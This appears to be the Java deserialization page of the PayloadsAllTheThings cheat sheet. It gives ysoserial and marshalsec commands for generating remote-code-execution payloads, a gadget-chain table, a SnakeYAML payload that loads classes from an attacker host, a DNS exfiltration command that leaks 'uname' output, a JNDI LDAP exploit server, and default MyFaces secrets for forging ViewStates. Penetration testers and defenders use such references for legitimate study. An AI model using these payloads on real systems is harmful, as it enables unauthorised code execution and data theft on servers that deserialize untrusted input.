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PayloadsAllTheThings/Insecure Deserialization/Java.md
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# Java Deserialization
> Java serialization is the process of converting a Java object’s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the `Serializable` interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.
## Summary
* [Detection](#detection)
* [Tools](#tools)
* [Ysoserial](#ysoserial)
* [Burp extensions using ysoserial](#burp-extensionsl)
* [Alternative Tooling](#alternative-tooling)
* [YAML Deserialization](#yaml-deserialization)
* [ViewState](#viewstate)
* [References](#references)
## Detection
- `"AC ED 00 05"` in Hex
* `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
* `00 05`: STREAM_VERSION. The serialization version.
- `"rO0"` in Base64
- `Content-Type` = "application/x-java-serialized-object"
- `"H4sIAAAAAAAAAJ"` in gzip(base64)
## Tools
### Ysoserial
[frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
```java
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
```
**List of payloads included in ysoserial:**
| Payload | Authors | Dependencies |
| ------------------- | -------------------------------------- | --- |
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 |
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4|
| Groovy1 | @frohoff | groovy:2.3.9 |
| Hibernate1 | @mbechler | |
| Hibernate2 | @mbechler | |
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| JRMPClient | @mbechler | |
| JRMPListener | @mbechler | |
| JSON1 | @mbechler | json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jdk7u21 | @frohoff | |
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
| MozillaRhino2 | @_tint0 | js:1.7R2 |
| Myfaces1 | @mbechler | |
| Myfaces2 | @mbechler | |
| ROME | @mbechler | rome:1.0 |
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
| URLDNS | @gebl | |
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
### Burp extensions
- [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) - Burp extension to perform Java Deserialization Attacks
- [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities
- [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) - YSOSERIAL Integration with Burp Suite
- [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification
- [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender
### Alternative Tooling
- [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget
- [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application
- [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
- [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
- [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath
- [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format.
```java
java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
python deserek.py yss_base.bin --format python > yss_url.py
python yss_url.py yss_new.bin
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
```
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
```java
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
// -a - generates/tests all payloads for that marshaller
// -t - runs in test mode, unmarshalling the generated payloads after generating them.
// -v - verbose mode, e.g. also shows the generated payload in test mode.
// gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
// arguments - Gadget specific arguments
```
Payload generators for the following marshallers are included:
| Marshaller | Gadget Impact |
| ------------------------------- | ---------------------------------------------- |
| BlazeDSAMF(0&#124;3&#124;X) | JDK only escalation to Java serialization various third party libraries RCEs |
| Hessian&#124;Burlap | various third party RCEs |
| Castor | dependency library RCE |
| Jackson | **possible JDK only RCE**, various third party RCEs |
| Java | yet another third party RCE |
| JsonIO | **JDK only RCE** |
| JYAML | **JDK only RCE** |
| Kryo | third party RCEs |
| KryoAltStrategy | **JDK only RCE** |
| Red5AMF(0&#124;3) | **JDK only RCE** |
| SnakeYAML | **JDK only RCEs** |
| XStream | **JDK only RCEs** |
| YAMLBeans | third party RCE |
## YAML Deserialization
SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange.
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
```
## ViewState
In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations:
* Oracle Mojarra (JSF reference implementation)
* Apache MyFaces
**Tools**:
* [joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) - JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool
* [Synacktiv-contrib/inyourface](https://github.com/Synacktiv-contrib/inyourface) - InYourFace is a software used to patch unencrypted and unsigned JSF ViewStates.
### Encoding
| Encoding | Starts with |
| ------------- | ----------- |
| base64 | `rO0` |
| base64 + gzip | `H4sIAAA` |
### Storage
The `javax.faces.STATE_SAVING_METHOD` is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.
The storage method can also be inferred from the viewstate representation in the HTML body.
* **Server side** storage: `value="-XXX:-XXXX"`
* **Client side** storage: `base64 + gzip + Java Object`
### Encryption
By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.
| Encryption Algorithm | HMAC |
| -------------------- | ----------- |
| DES ECB (default) | HMAC-SHA1 |
Supported encryption methods are BlowFish, 3DES, AES and are defined by a context parameter.
The value of these parameters and their secrets can be found inside these XML clauses.
```xml
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
```
Common secrets from the [documentation](https://cwiki.apache.org/confluence/display/MYFACES2/Secure+Your+Application).
| Name | Value |
| -------------------- | ---------------------------------- |
| AES CBC/PKCS5Padding | `NzY1NDMyMTA3NjU0MzIxMA==` |
| DES | `NzY1NDMyMTA=<` |
| DESede | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
| Blowfish | `NzY1NDMyMTA3NjU0MzIxMA` |
| AES CBC | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
| AES CBC IV | `NzY1NDMyMTA3NjU0MzIxMA==` |
* **Encryption**: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState
* **Decryption**: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data
## References
- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
- [Hack The Box - Arkham - 0xRick - August 10, 2019](https://0xrick.github.io/hack-the-box/arkham/)
- [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
- [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
- [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://www.exploit-db.com/docs/48126)
- [Java-Deserialization-Cheat-Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
- [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf)
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
- [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
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